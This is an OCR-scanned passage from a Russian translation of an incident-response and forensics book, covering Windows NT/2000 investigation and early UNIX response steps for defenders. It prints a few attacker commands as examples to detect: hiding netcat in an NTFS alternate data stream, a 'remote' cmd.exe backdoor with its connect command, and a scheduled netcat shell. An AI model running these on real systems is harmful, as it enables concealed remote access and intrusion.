net Files. Windows 2000 хранит эти файлы в другом каталоге, но они содер-
жат аналогичную информацию. Windows 2000 поддерживает кэш браузера
Web в каталоге \Documents and Settings\<User Account>\Local Settings\Tem
porary Internet Files. Файл index.dat в Windows 2000, который отображает кэ
шированные страницы html в реальные даты, время, и определенные URL,
расположен в каталоге \Document and Settings\<User Account>\Application
Data\Microsoft\Internet Explorer\User Data.
Файлы Netscape fat.db и netscape.hst и файл Internet Explorer index.dat яв-
ляются двоичными файлами. Поэтому рассмотренные ранее в этой главе в
параграфе "Просмотр файлов в Recylce Bin" утилиты позволяют просматри-
вать большинство двоичных файлов, которые поддерживают как Netscape

Исследование системы Windows NT/2000
295
Рис. 10.10. Просмотр файла index.dat в Internet Explorer History Viewer
(fat.db и netscape.hst), так и Internet Explorer (index.dat). Internet Explorer
History Viewer будет анализировать и выводить историю URL, посещенных
с помощью Internet Explorer версий 3.x, 4.x и 5.x (см. рис. 10.10).
EnCase является другой утилитой, предоставляющей прекрасные сред-
ства, которые автоматизируют процесс выяснения деятельности системы в
Web. На рис. 10.11 показан сценарий EnCase, который сообщает об исполь-
зовании Web браузеров Netscape и Internet Explorer.
Просмотр коммутируемого доступа в сеть Другим способом определения де-
ятельности по использованию сети пользователем является просмотр на-
строек в системе коммутируемого доступа в сеть (Dial Up Networking ---
DUN). DUN имеет свойство, называемое dial on demand (соединение по тре-
бованию) , которое многие приложения пытаются задать автоматически как
используемое по умолчанию. Dial on demand или autodial (автоматическое
соединение) позволяет системам Windows инициировать соединение авто-
матически, когда приложению потребуется использовать Интернет.
Windows 2000 поддерживает список IP адресов, с которыми было соеди-
нение через средство autodial. Чтобы просмотреть базу данных autodial,
используйте следующую команду:
rasautou  s
На рис. 10.12 показан вывод попыток соединения, сделанных набирате
лем номера RAS.

Рис. 10.11. Использование сценариев EnCase для определения деятельности
по использованию Web
Рис. 10.12. Просмотр попыток соединения DUN с помощью команды rasautou

Исследование системы Windows NT/2000
297
Идентификация неавторизованных учетных записей
пользователей или групп
Обычная уловка злоумышленников состоит в запуске незаконных учетных
записей в системе или в повышении своих привилегий до неавторизован-
ного уровня. Там они смогут получить данные, доступ к которым для них
запрещен. Существует несколько способов аудита учетных записей пользо-
вателей и групп пользователей в действующей системе:
Просмотр в User Manager неавторизованных учетных записей пользо-
вателей (во время реагирования на действующей системе).
Использование usrstat из NTRK. для просмотра всех учетных записей
домена на контроллере домена, чтобы найти подозрительные записи.
Исследование журнала Security (безопасности) с помощью Event Vie-
wer, фильтруя идентификатор события 624 (добавление новой учет-
ной записи), 626 (инициирована учетная запись пользователя), 636
(изменение группы учетных записей), и 642 (изменена учетная запись
пользователя).
Проверка в системе каталогов \WINNT\Profiles. Если учетная запись
пользователя существует, но не имеется соответствующего каталога
\WINNT\Profiles\<useraccount>, эта учетная запись пользователя еще
не использовалась для входа в систему. Если подобный каталог суще-
ствует, но учетная запись пользователя больше не перечисляется в
User Manager или реестре (в HKLM\SAM\SAM\Domains\Account\Users
\Names), то этот идентификатор пользователя когда то существовал,
но больше его нет.
Просмотр SID в реестре в HKLM\SOFTWARE\Microsoft\Windows
NT\Current Version\ ProfileList. Когда учетная запись пользователя
удаляется, соответствующая запись каталога Profile сохраняется. Со-
ответствующий SID также будет оставаться в реестре, как показано на
следующей иллюстрации (где реестр демонстрирует, что значение
SID существует для идентификатора пользователя mandingo, который
больше не существует как действительная учетная запись пользовате-
ля в системе). Это позволяет проследить, какие учетные записи поль-
зователей были удалены в ходе жизненного цикла системы.

298
Глава 10
Идентификация незаконных процессов
Идентификация незаконных процессов значительно проще при просмотре
действующей системы. Так как большинство незаконных процессов слуша-
ют сетевые соединения или анализируют трафик сети в поисках текстовых
идентификаторов пользователей и паролей, эти процессы легче найти,
когда они выполняются. Как вы узнали в главе 9, команда pslist перечисляет
имена выполняющихся процессов, listdlls предоставляет все аргументы
командной строки для каждого выполняющегося процесса, a fport показы-
вает, какие процессы слушают и на каких портах.
Но как найти незаконные процессы в "холодной" системе? Рекомендуется
выполнить самое свежее сканирование вирусов на всем логическом томе до-
казательства. При выполнении утилиты контроля за вирусами на файловой
системе восстановленного, образа, не забудьте смонтировать том только
для чтения. Нежелательно, чтобы утилита начала перемещать или удалять
файлы без вашего ведома.
Поиск необычных или скрытых файлов
Все злоумышленники что то хотят скрыть, и компьютерные преступники в
этом не исключение. Атакующий при получении незаконного доступа к сис-
теме NT/2000 должен скрыть свои файлы для последующего использова-
ния. Когда инсайдер собирается выполнить неавторизованные или непри-
емлемые действия на своей системе," он может сделать некоторые файлы
невидимыми. Оба атакующих могут воспользоваться файловыми потоками
NTFS для сокрытия данных под видом законных файлов. К сожалению, по-
токовые файлы хорошо известны злоумышленникам.
NTFS имеет средство, разработанное первоначально в иерархической
файловой системе Macintosh (HFS), для сохранения нескольких экземпля
рог данных файла под одной файловой записью. Эти несколько потоков
данных могут использоваться для сокрытия данных, так как Windows Explo-
rer не указывает на присутствие дополнительных потоков. На рис. 10.13 по-
казано, как netcat (nc.exe) может скрывать вторичный поток данных файла
с именем logo.jpg, используя следующие команды:
ср nc.exe logo.jpg:nc.exe
Обратите внимание на рисунке, что присутствие nc.exe внутри записи
файла logo.jpg не отражается на размере файла, но отметка времени/даты
изменяется. Поэтому критически важно выполнить утилиту sfind или Stre-
ams на восстановленной файловой системе. На рис. 10.13 можно видеть,
что sfind идентифицирует скрытый в поток файл. Утилита sfind использу-
ется следующим образом:
Programming by JD Glaser All Rights Reserved
Usage sfind [path] /ns
[Dirpath] Каталог для поиска отсутствие означает текущий
 Ns
Пропустить подкаталоги
 или/
Может использоваться любой оператор ключа

Исследование системы Windows NT/2000
299
? Помощь
COMMAND PROMPT MUST HAVE A MINIMUM WIDTH OF 80 CHARACTERS
ВНИМАНИЕ EnCase автоматически идентифицирует сокрытые в потоке файлы,
когда открывает свои файлы доказательства.
Другие используемые методы для сокрытия файлов в логической файло-
вой системе включают изменение расширения файлов или искусственное
именование файлов, чтобы они соответствовали важным системным фай-
лам. Ни один из этих методов не должен быть пропущен опытным исследо-
вателем, но они могут обмануть некоторые популярные автоматизирован-
ные судебные утилиты.
Рис. 10.13. Использование потоков NT для сокрытия файлов
Создание набора хеш значений системных файлов
EnCase имеет средство hash, которое создает хеш значение для каждого
файла в системе. Рекомендуется создать набор хеш значений стандартных
системных файлов Windows NT/2000, Это позволит' идентифицировать
файлы доказательства; замаскированные как законные системные файлы
Используйте сайт HashKeeper для помощи при судебном анализе.

300
Глава 10
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
Foundstone's sfind: http://foundstone.com
Sysinternals' Streams: http://www.sysintemals.com
Hash Keeper: ftp://ftp.cis.fed.gov/pub/HashKeeper
Проверка неавторизованных точек доступа
Одно из самых больших различий между системами Windows NT и UNIX со-
стоит в том, что NT не разрешает удаленный доступ на уровне командной
строки через сеть без использования внешних утилит. Это существенно из-
менилось в Windows 2000, которая поставляется с сервером telnet для адми-
нистрирования удаленными командами. Каждая служба, предоставляющая
некоторую степень удаленного доступа, может определить точку входа
для нежелательных нарушителей:
Терминальный сервер
SQL/Oracle
Демоны telnet независимых поставщиков в Windows NT
Windows 2000 Telnet Server
Демоны FTP независимых поставщиков
Web серверы (такие как Apache и NCSA)
VNC (TCP порт 5800) и PC Anywhere (TCP порт 5631)
Службы удаленного доступа (РРР и РРТР)
Серверы X
При реагировании на системах жертвах необходимо идентифицировать
точки доступа в систему, чтобы определить, как был получен доступ. Такие
утилиты, как netstat и fport, являются критически важными для идентифи-
кации точек входа в систему. Они используют вызовы API для чтения со-
держимого ядра и пространства пользователя таблиц соединений TCP и
UDP. Если вы намерены получить эту информацию, то надо будет загрузи-
те восстановленный образ. Если вы выполняли этот шаг во время рассмот-
рения действующей системы, до того как система была выключена для по-
лучения образа, сравните результаты двух операций. Различия могут быть
указателями неавторизованных демонов.
роверка служб удаленного управления
удаленного доступа
Наиболее распространенными, точками удаленного доступа в системе
NT/2000 являются утилиты коммутируемого доступа, такие как PC Anywhe-
re, собственная служба NT удаленного доступа (RAS) и аналогичные утили-
ты, которые предоставляют коммутируемый или на основе сети доступ
уровня команд. Мы делим удаленный доступ систем NT/2000 на два класса:

Исследование системы Windows NT/2000
301
предоставляющие удаленное управление и предоставляющие удаленный
доступ. Различие между ними определяется в основном объемом сетевого
трафика и производительностью.
Такие приложения, как PC Anywhere, AT&Ts Virtual Network Computing,
и Reach Out предоставляют удаленное управление. С этими приложениями
удаленные пользователи получают абсолютный контроль за системой,
включая клавиатуру, экран и мышь. Когда экран на удаленной системе из-
меняется, вы в действительности видите изменение экрана в контролируе-
мой локальной системе. Приложения удаленного управления разрешают
только одному удаленному пользователю контролировать систему в данный
момент времени. Поэтому атакующие предпочитают соединяться со служ-
бой, которая предоставляет удаленный доступ, а не удаленное управление.
Чтобы обнаружить программное обеспечение удаленного управления в си-
стеме, вы должны использовать netstat, fport, и pslist. Тогда вы найдете от-
крытые порты. Можно также внимательно просмотреть файловую систему,
чтобы определить, было ли установлено программное обеспечение удален-
ного управления.
ВНИМАНИЕ Так как VNC разрешает удаленное управление системой, то ее ис-
ходный код бесплатно доступен и не обнаруживается сканерами ви-
русов. VNC стала утилитой, часто размещаемой атакующими для
управления удаленными системами.
Windows RAS делает возможным удаленный доступ, где несколько уда-
ленных пользователей могут одновременно соединиться с системой через
модемное соединение. RAS является точкой доступа, которую наиболее ча-
сто используют бывшие сотрудники, которые хотят сохранить доступ к
сети своего бывшего работодателя. Это связано с тем, что RAS является
единственным средством удаленного доступа уровня команд, которое стан-
дартно поставляется с системами Windows NT Server. Windows NT Server
может обрабатывать до 256 входящих соединений RAS. Используйте утили-
ту rasusers для перечисления всех учетных записей пользователей, которые
имеют право доступа на сервер RAS. Мы выполняем команду net start без ар-
гументов, чтобы просмотреть все службы:
net start
Если система предлагает RAS, то вы увидите предлагаемые службы уда-
ленного доступа, когда выполните команду net start.
Определение уровня программы исправления
Ни одна операционная система не бывает совершенно безупречной. Ком-
пания Microsoft решает проблемы Windows NT/2000 с помощью програм-
много обеспечения, называемого service packs (сервисные пакеты). Сервис-
ные пакеты являются наборами программ исправлений (патчей), новых
приложений, усовершенствований и настроек, которые создаются для улуч-
шении исходного выпуска NT/2000, Различные уязвимости и дыры без
опасности исправляются различными сервисными пакетами.

302
Глава 10
Сервисные пакеты исправляют сразу несколько проблем. Hot fixes (Горя-
чие исправления) предназначены для быстрого исправления и часто выпус
каются в течение нескольких дней после появления проблемы. Сервисные
пакеты поддерживаются компанией Microsoft и полностью протестированы.
Hot fixes выпускаются компанией Microsoft, но не поддерживаются.
Зная уровень патчей, присутствующих в системе, можно исключить лю-
бые возможности для выполнения на этой системе определенных атак. По-
этому в виде исключения можно будет реконструировать события и создать
разумные гипотезы для описания инцидента. Номер версии сервисного па-
кета хранится обычно в реестре в HKLM\Software\Microsoft\Windows
NT\CurrentVersion\CSDVersion. Значение CSDVersion имеет обычно вид
Service Pack X, где X является номером версии сервисного пакета. Некото-
рые hot fixes, вышедшие после Service Pack 3 и 4, могут заменять это значе-
ние такой строкой, как "Service Pack 3 RC 1.32" или "Service Pack 4 RC 1.2."
Проверка административных общих ресурсов
Windows использует термин share (общий ресурс) для обозначения любого
файла или папки, доступной через сеть с помощью сетевых методов Win-
dows. Пользователь может применять каталог совместно с любым другим
пользователем, имеющим право соединиться с системой этого пользовате-
ля. Создание общего ресурса, доступного для удаленных систем, делается
просто: выберите каталог, который надо сделать общим, щелкните на нем
правой кнопкой мыши и выберите в меню пункт Sharing. Если в нижней ча
сти папки появится изображение ладони, то это означает, что каталог явля
ются общим с удаленными пользователями, которые имеют подходящие
полномочия для входа в этот общий ресурс.
Можно решить, что пользователь, который не объявил папку общим ре
сурсом, не создает точек входа для атакующих. Однако это не так. Все сис-
темы Windows NT имеют административные общие ресурсы, которые автома
тически предлагаются удаленным пользователям после каждого процесса
загрузки. Подобные административные общие ресурсы считаются скрыты-
ми общими ресурсами. К их именам добавлен символ $. То, что эти файлы
шляются скрытыми, создает ложное чувство безопасности, в действитель
юсти атакующие знают, какие существуют скрытые общие ресурсы. Наибо
лee часто используется общий ресурс IРС$, но каждый логический диск так
же становится административным общим ресурсом.
Чтобы удалить на постоянной основе эти административные общие ре
сурсы, пользователю надо поработать с реестром. Однако в основном поль
зователи NT/2000 не умеют или не готовы этого делать. Поэтому многие
атакующие будут сканировать в системе порт 139 и затем пытаться соеди
ниться с административными общими ресурсами на этой системе. Помни
те, что если удаленный пользователь может аутентифицировать себя и по-
-учить доступ к любому из административных общих ресурсов, он сможет
получить доступ ко всем файлам на данном логическом диске. Если только
пользователь не установил файловую систему NTFS и не выбрал режим
аудита событий File and Object Access для конкретного общего ресурса, NT
не будет регистрировать в журнале, к каким файлам обращался удаленный
пользователь.

Исследование системы Windows NT/2000
303
Что может произойти
Неавторизованный пользователь с плохими намерениями может использо-
вать анонимные соединения для перечисления всех действительных учет-
ных записей в системе. Затем он сможет использовать одну из этих учетных
записей для доступа к системе.
Где искать доказательства
Когда атакующий обращается к общему ресурсу с помощью анонимного со-
единения, может создаваться идентификатор события, если система жерт-
ва осуществляет контроль за событиями Logon и Logoff. Следующая иллю-
страция показывает журнал безопасности (Security), который перечисляет
успешные анонимные регистрации в системе. Анонимный вход в систему
легче идентифицировать, когда журнал безопасности фильтруется по иден-
тификатору события 528, т.е. по успешной регистрации в системе.
При просмотре данных события успешного анонимного входа в систему
можно видеть, что цифровой след обрывается (см. рис. 10.14). Обратите
внимание, что не существует соответствующего имени инициирующей ра-
бочей станции, соединяющейся с системой. Разумно предположить, что
анонимный вход был сделан с целью использования утилиты типа Dump
Sec компании Somarsoft для перечисления действительных учетных запи-
сей пользователей. Система находится под атакой!
Проверка заданий, выполняемых службой планировщика
Обычный прием атакующих состоит в использовании спланированных со-
бытий, запускающих для них программы черного хода, изменяющих поли-
тику аудита, и, возможно, даже что нибудь более зловредное, типа стира-
ния файлов по расписанию. Рассмотрим следующий пакетный файл,
выполняющий утилиту NTRK remote в системе NT:
remote /s "cmd.exe" batman5
Если эта командная строка была выполнена в определенное время,
кто то сможет соединиться с системой при помощи следующей командной
строки:
remote /с <hostname> batman5

304
Глава 10
Рис. 10.14. Данные события удаленного анонимного входа в систему
<hostname> является именем NetBIOS удаленной системы, a batman5 ---
ключевой фразой для соединения. Теперь человек сможет выполнить лю-
бые команды по желанию.
Зловредные задания планировщика обычно задаются с помощью утилит
at или soon. Команда at без аргументов командной строки покажет все спла-
нированные задания. На следующей иллюстрации показано спланирован-
ное событие, которое было бы нежелательно иметь в системе: netcat посы-
лает командную оболочку удаленной системе каждый понедельник вечером
в 7.30.
Анализ доверительных отношений
Доверительные отношения между доменами NT/2000 могут определенно
увеличить область компрометации в случае, если действительный иденти-
фикатор пользователя и пароль будут украдены атакующим. Доступ к одной

Исследование системы Windows NT/2000
305
машине может означать логический доступ к нескольким другим. Довери-
тельные отношения могут расширить границы компрометации и повысить
серьезность инцидента. К сожалению, определить доверительные стороны
в домене NT/2000 не так просто, как в среде UNIX.
Windows NT поддерживает нетранзитивные, или односторонние довери-
тельные отношения. Это означает, что доступ и службы предоставляются
только в одном направлении. Если ваш NT PDC создает доверительные от-
ношения с другим доменом, ему не нужно создавать доверительные отно-
шения с вашим PDC. Поэтому пользователи в доверительных доменах мо-
гут использовать службы в вашем домене, но не наоборот.
Windows 2000 может предоставлять двусторонние, или транзитивные,
доверительные отношения. Домены, расположенные в лесе активного ка-
талога (Active Directory), требуют двусторонних доверительных отношений
для правильной коммуникации. Например, в службах активного каталога
Windows 2000, если домен А доверяет домену В, а домен В доверяет домену
С, то домен А доверяет домену С (см. рис. 10.15).
Рис. 10.15. Доверительные отношения Windows 2000
Просмотр идентификаторов безопасности
Для установления действий определенного идентификатора пользователя
сравните SID (см. выше), найденные на машине жертве, с теми, которые
хранятся у центрального уполномоченного аутентификации. Объясним,
как SID могут помочь при реагировании на инцидент.
SID используется для уникальной идентификации пользователя или
группы. Каждая система имеет свой собственный идентификатор, и у каж-
дого пользователя свой собственный идентификатор в этой системе. Иден-
тификатор компьютера и идентификатор пользователя объединяются для
создания SID. Таким образом SID могут уникальным образом идентифици-
ровать учетную запись пользователя. SID не применяется в системе безо-
пасности общих ресурсов.
Ниже показан SID, который принадлежит учетной записи администра-
тора:
S 1 5 21 917267712 1342860078 1792151419 500
Компоненты SID имеют следующий смысл:
S обозначает последовательности цифр как SID

306
Глава 10
1 является уровнем ревизии
5 является значением уполномоченного идентификации
21 917267712 1342860078 1792151419 являются значениями подупол
номоченных
500 является относительным идентификатором
Доступ к общим ресурсам осуществляется с помощью имен пользовате-
лей и паролей. Однако SID применяется, когда предоставляется удаленный
доступ к домену. SID с уникальной последовательностью номеров сервера
помещается в реестр рабочей станции после первого успешного входа на
этот сервер. Поэтому SID могут быть цифровыми отпечатками пальцев, ко-
торые доказывают, что для входа в машину и доступа к домену использова-
лась удаленная система.
Пример инцидента
Колин Вуди работает в Baytrust Bank, в офисе, расположенном в Вашинг-
тоне, и является членом домена банка Washington. Колин был обвинен в
неавторизованном доступе к отделению San Francisco, где он не должен
вообще иметь доступа.
При условии, что Колин не предпринял никаких действий для удале-
ния доказательства из своей рабочей системы, это будет простой случай.
SID из контроллера домена San Francisco будет находиться в системе Ко
лина в ключе реестра HKLM\Software\Microsoft\Windows NT\ Current
Version\ProfileList. Помните, что единственный способ, которым SID из
контроллера домена San Francisco мог попасть в систему Колина, является
успешное соединение Колина с доменом San Francisco.
АУДИТ ФАЙЛОВ И КРАЖА ИНФОРМАЦИИ
При установке Windows NT можно выбрать между использованием файло-
вой системы FAT и файловой системы NTFS. Если сайт хочет контролиро-
вать доступ к определенным файлам, то ему необходимо использовать
NTFS. Файловая система NTFS позволяет создавать списки контроля досту-
па (ACL) для каталогов и файлов в системе. Поэтому NTFS считается более
безопасной файловой системой, чем простая старая FAT или FAT32. Если
необходимо определить, кто имел доступ и к чему в системе, то DumpSec,
бесплатно доступная утилита от Somarsoft инспектирует ACL файлов и ка-
талогов и создает обзор ресурсов, групп и уровней доступа.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
DumpSec: www.somarsoft.com
Если необходимо идентифицировать, кто разместил на сервере неавторизо-
ванные файлы, то имеются две возможности при исследовании этого инциден-
та: использовать сетевой анализатор для мониторинга доступа к файловым

Исследование системы Windows NT/2000
307
серверам, или реализовать на хосте журналы с помощью стандартного
аудита доступа к файлам из Windows NT/2000. Так как файлы могут поме-
щаться на сервере с консоли, то использование сетевого монитора может
оказаться бесполезным. Однако, если файловый сервер не использует NTFS,
будет нелегко выполнить аудит доступа к файлам и каталогам.
Если файловый сервер выполняет NTFS, хорошим решением является
задание режима аудита Local Security (локальной безопасности), чтобы кон-
тролировать по крайней мере успешный доступ к файлам и каталогам на
файловом сервере. На рис. 10.16 показано окно настроек Local Security в
системе Windows 2000, которое указывает, что доступ к объектам контроли-
руется. Хорошим решением будет также включение аудита logon/logoff
(входа в систему/выхода). В случае когда пользователь загружает неавтори-
зованные файлы, необходимо сначала зарегистрироваться на файловом
сервере.
Рис. 10.16. Использование настроек Local Security для аудита доступа
к объектам в Windows 2000
Следующий шаг состоит в выборе каталога, который будет контролирова-
ться, и выборе подходящего режима аудита. На рис. 10.17 показан пример
контролируемого каталога Public. Любой пользователь, который записывает
файл в каталог Public, будет зафиксирован в журнале.
Запись журнала событий содержит имя загруженного или добавленного
в каталог Public файла, а также учетную запись пользователя, ответствен-
ную за размещение там файла. На рис. 10.18 показан пример записи о до-
ступе к каталогу Public.
Если включить аудит успеха и отказа категории "File and Object Access"
политики аудита, то будут инициированы следующие события. Помните,
что вы по прежнему должны будете задать соответствующий контроль за
каждым файлом или каталогом, которые будут контролироваться:
560 Object Open
561 Handle Allocated
562 Handle Closed
563 Object Open for Delete
566 Object Deleted

308
Глава 10
Рис. 10.17. Файл аудита записывает в каталог в Windows 2000
Рис. 10.18. Данные события, показывающие имя файла, помещенного
на файловый сервер

Исследование системы Windows NT/2000
309
Только для Windows 2000:
565 Object Open
566 Object Operation
ДЕЙСТВИЯ В СЛУЧАЕ УВОЛЬНЕНИЯ СОТРУДНИКА
Ушли старые добрые времена, когда вы работали в одном месте 30 лет.
Многие работники то и дело переходят от одного конкурента к другому. В
наше время интеллектуальной собственности и профессиональных услуг,
специальные соглашения (noncompete agreement --- соглашение, по которо-
му уволившийся сотрудник не должен работать на прямого конкурента в те-
чение некоторого времени) появляются повсеместно. Кажется, что каж-
дый профессионал информационных технологий вместе с большинством
управленческого персонала и сотрудниками сбыта должны подписывать та-
кое соглашение. Существуют люди, которые знают основные секреты ком-
пании, --- от заказчиков и контрактов до базовых данных, на которые опира-
ется компания, чтобы выжить.
На случай неожиданного увольнения ключевого сотрудника рабочей
группы должны существовать политики и процедуры для защиты компа-
нии. Здесь мы рассматриваем несколько простых шагов, выполняющихся
для проверки того, что уходящий сотрудник не уносит с собой ценную ин-
формацию.
Просмотр истории поиска и использованных файлов
Одним из первых действий, которое надо выполнить, когда сотрудник соби-
рается уходить, является просмотр истории поиска в его системе. Проще
всего это сделать, просматривая поле прокрутки в диалоговом окне Find.
Также хорошим способом является немедленный просмотр файлов в
Recycle Bin. Вы определите, не удалил ли сотрудник что нибудь, что являет-
ся критически важным для компании или для сокрытия того факта, что он
имел доступ к тем файлам, к которым не должен был иметь.

310
Глава 10
Используйте afind (утилиты от Foundstone) для определения всех фай-
лов, к которым был доступ за последние несколько дней перед уходом. При-
меняйте вывод dir для поиска отметок времени/даты. Наконец, выполните
быстрый просмотр использованных в последнее время файлов, осуществ-
ляя интерфейс GUI или просматривая реестр.
Выполнение поиска строк на жестком диске
Другой возможностью для проверки того, что делал бывший сотрудник пе-
ред уходом, является подготовка загрузочного диска для выполнения поис-
ка строк на жестком диске. Списки слов должны быть тщательно подготов-
лены. Учитывайте, к какой информации сотрудник имел доступ, и что он
не должен был видеть.
Можно иметь единственный контролируемый загрузочный гибкий диск
с DS2 или некоторой другой утилитой поиска строк и содержать список
ключевых кодов проектов, ключевых заказчиков и корпоративные данные,
"утечка" которых из вашей организации будет нежелательна. Можно авто-
матически просканировать каждый уходящий жесткий диск или каждый
диск, возвращаемый бывшим сотрудником, чтобы определить, не нарушил
ли сотрудник корпоративной политики.
Использование сценария для поиска файлов доказательства
При использовании EnCase можно легко искать файлы доказательства. Со-
здайте EScript для EnCase, который ищет в файлах доказательства EnCase
документы, к которым обращался, модифицировал или удалил в течение
одного месяца до своего ухода ведущий сотрудник.
итоги
Многие профессионалы службы безопасности полагают, что усилия по вос-
становлению должны быть в центре внимания реагирования на инцидент.
Однако некоторые инциденты могут требовать, чтобы организация полно
сть о исследовала инцидент. Мы были приятно удивлены большим числом
коммерческих фирм, которые знают о правовых и судебных аспектах ис-
следования инцидентов с компьютерной безопасностью.
Разработка метода судебного исследования Windows NT/2000 является
набором навыков, критически важных для любого профессионала компью-
терной безопасности. Эта глава очерчивает определенный подход к выпол-
нению исследования в системах NT/2000 в попытке исключить неоргани-
зованный, бессистемный подход к техническому исследованию.

ГЛАВА 11
Начальное реагирование
в системах UNIX

312
Глава 11
Начальное реагирование на предполагаемые инциденты в системах
UNIX аналогично начальному реагированию на инциденты в системах Win-
dows NT/2000. Задача состоит в получении изменчивых системных данных
до судебного дублирования, и можно расширить область начального реаги-
рования извлечением файлов журналов, конфигурационных файлов, сис-
темных файлов и других значимых файлов (таких как утилиты хакера и
подозрительные программы) для быстрого подтверждения наличия или
отсутствия инцидента.
Одним из отличий работы в системах Windows NT/2000 и UNIX являет-
ся трудность восстановления удаленных файлов в некоторых вариантах
UNIX. При выполнении процесса в среде NT/2000 невозможно, удалить
файл, соответствующий выполняющемуся процессу с жесткого диска. Од-
нако операционная, система UNIX разрешает удалить программу после
того, как она была запущена --- процесс выполняется, однако сам файл про-
граммы удален с жесткого диска. В данной главе обсуждается, почему вос-
становление этих файлов должно происходить до выключения системы, а
также как создать свой инструментальный набор реагирования, получить
изменчивые данные и выполнить реагирование на действующей системе.
СОЗДАНИЕ ИНСТРУМЕНТАЛЬНОГО НАБОРА РЕАГИРОВАНИЯ
Подготовка надежного инструментального набора --- более трудная задача и
требующая иного времени. Практически каждый вариант UNIX требует
уникального инструментального набора. Поскольку многие из рекомендуе-
мых утилит не включаются в стандартные выпуски всех операционных сис-
тем UNIX, придется самостоятельно компилировать исходный код. Напри-
мер, если машина жертва является сервером Sparc, работающим под
управлением Solaris 2.8, то необходимо компилироваться на чистой копии
Solaris 2.8 в системе с такой же архитектурой.
ВНИМАНИЕ При ссылке на UNIX мы собирательно ссылаемся на все варианты
UNIX. В частности, мы знакомы с Sun Solaris, Hewlett Packard HP UX,
FreeBSD и Linux (RedHat, SuSE и Corel). Примеры и стратегии реаги-
рования основываются на опыте с наиболее распространенными
операционными системами. Если вы будете знать, как реагировать
на инциденты на этих вариантах UNIX, вы сможете обработать любые
другие варианты, которые могут встретиться (такие как IBM AIX).
Чтобы усложнить проблему еще больше, многие версии UNIX не являются
совместимыми. Например, программы, компилированные для выполнения
в системе Solaris 2.6, могут не работать правильно в Solaris 2.7 и наоборот.
Все эти вопросы увеличивают объем ресурсов и время, требуемые для
создания инструментальных наборов UNIX. Поэтому существенно важно
создать инструментальный набор до возникновения инцидента. Может не
оказаться времени для его создания после того, как инцидент произойдет.

Начальное реагирование в системах UNIX
313
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
Статически скомпонованный инструментальный набор UNIX/статическая
компиляция надежных утилит: http://www.incident response.org/
Ресурсы для инструментального набора UNIX
Многие правоохранительные агентства не имеют в своем распоряжении
всех разновидностей и платформ UNIX для создания инструментальных
наборов реагирования. Предварительные связи с локальными университе
тами и и компаниями могут способствовать созданию отношений, необходи-
мых для компенсации отсутствия ресурсов. Эти публичные организации
могут предложить ресурсы, которые нужны для создания многих различ-
ных надежных инструментальных наборов. Вам необходимо получить до-
ступ к определенному оборудованию и программному обеспечению только
на несколько часов для создания инструментального набора реагирования.
Делая это заранее, можно сохранить дни работы во время реагирования на
инцидент.
Независимо от типа инцидента критически важно использовать надежные
команды. Для реагирования на системах UNIX применяется ряд компакт
дисков и гибких дисков со следующими утилитами:
Is
find
netstat
strings
more
script
dd
icat
peat
truss
gzip
bash
des
Isof
perl
df
last
modinfo
file
md5sum
ps
vi
w
Ismod
pkginfo
netcat или cryptcat
strace
cat
rm
ifconfig
ОСТОРОЖНО Системные команды UNIX часто используются атакующими для со-
здания троянских программ (редко применяются в системах Windows
NT/2000). При реагировании на компрометирование на администра-
тивном уровне надо ожидать, что все обычные команды могут функ-
ционировать не так, как должны, потому что были превращены
атакующими в троянские программы.
Чтобы избежать зависимости от библиотек на системе жертве, необхо-
димо статически откомпилировать надежные утилиты. При создании набо-
ра реагирования в Linux откомпилируйте каждую утилиту с параметром
 static, чтобы создать исполняемую программу, которая не требует исполь-
зования каких либо общих библиотек. Когда статически собранные испол-
няемые файлы недоступны (Solaris, HP UX, и другие частные версии
UNIX), необходимо использовать динамически компанованные утилиты на
системе жертве, (Глава 17 предоставляет более углубленное рассмотрение
динамических и статических программ.) Можно использовать команду IDD

314
Глава 11
для определения библиотек, которые применяют динамически компилиро-
ванные программы, и включить надежные версии всех этих библиотек в
надежный инструментальный набор. Затем необходимо задать соответству-
ющую переменную окружения (обычно LD_LIBRARY_PATH), чтобы систе-
ма жертва использовала надежные библиотеки при выполнении надежных
динамических утилит.
ХАНЕНИЕ ИНФОРМАЦИИ, ПОЛУЧЕННОЙ
ВО ВРЕМЯ НАЧАЛЬНОГО РЕАГИРОВАНИЯ
При реагировании на инцидент необходимо определить, где хранить ин
формацию, извлеченную во время начального реагирования. Как показано
в главе 9, для сохранения данных существуют следующие возможности: со-
хранение данных на локальном жестком диске, сохранение данных на
сменной среде, такой как гибкий диск или магнитная лента, запись инфор-
мации от руки, или использование netcat (или cryptcat) для передачи по
сети извлеченных данных на судебную рабочую станцию.
Мы используем на судебных рабочих станциях Linux, чтобы обеспечить
более быстрое реагирование. Таким образом мы не зависим от ограниче-
ний области памяти. Используется netcat для передачи информации по
сети и каналы потока netcat через des для шифрования передачи. Cryptcat
предлагает шифрованный канал TCP за один шаг (см. в разделе "Сохране-
ние информации, полученной во время начального реагирования" главы 9).
После выбора способа для извлечения данных из целевой системы необ
ходимо определить подходящее время для реагирования (обычно, когда ата-
кующий или большинство пользователей не работают). Желательно также
определить, должна ли поддерживать целевая система сетевое соединение
или необходимо отключить сетевой кабель, чтобы помешать пользователям
и атакующим соединиться с системой во время начального реагирования.
Когда эти вопросы будут решены, вы будете готовы для реагирования на
консоли целевой системы.
ПОЛУЧЕНИЕ ИЗМЕНЧИВЫХ ДАННЫХ
ДО СУДЕБНОГО ДУБЛИРОВАНИЯ
Действия, описанные в этой главе, напоминают действия, предпринимае-
мые при реагировании в системах Windows NT/2000 (см. главу 9). Желате-
льно реагировать на целевой системе за консолью, а не обращаться к ней
через сеть. Это исключает возможность для атакующего проследить ваши
действия и гарантирует, что вы выполняете надежные команды.
Описываемые действия являются планом игры. Конечно необходимо
адаптировать порядок и используемые утилиты на основе совокупности всех
обстоятельств. Можно включать утилиты, которые не упоминались, а также
выполнять действия другим образом.

Начальное реагирование в системах UNIX
315
ВНИМАНИЕ Как подчеркивалось в главе 9, документируйте действия, которые вы-
полняются в системе с максимальной старательностью. Не забудьте
о последовательности хранения и о том, как обрабатывать и управ-
лять доступом к потенциальному доказательству.
Если вы уверены, что будете создавать судебный дубль целевой системы,
то должны сконцентрироваться на получении изменчивых системных дан-
ных прежде чем выключить систему. Изменчивые данные включают откры-
тые в данный момент соединения, выполняющиеся процессы, содержимое
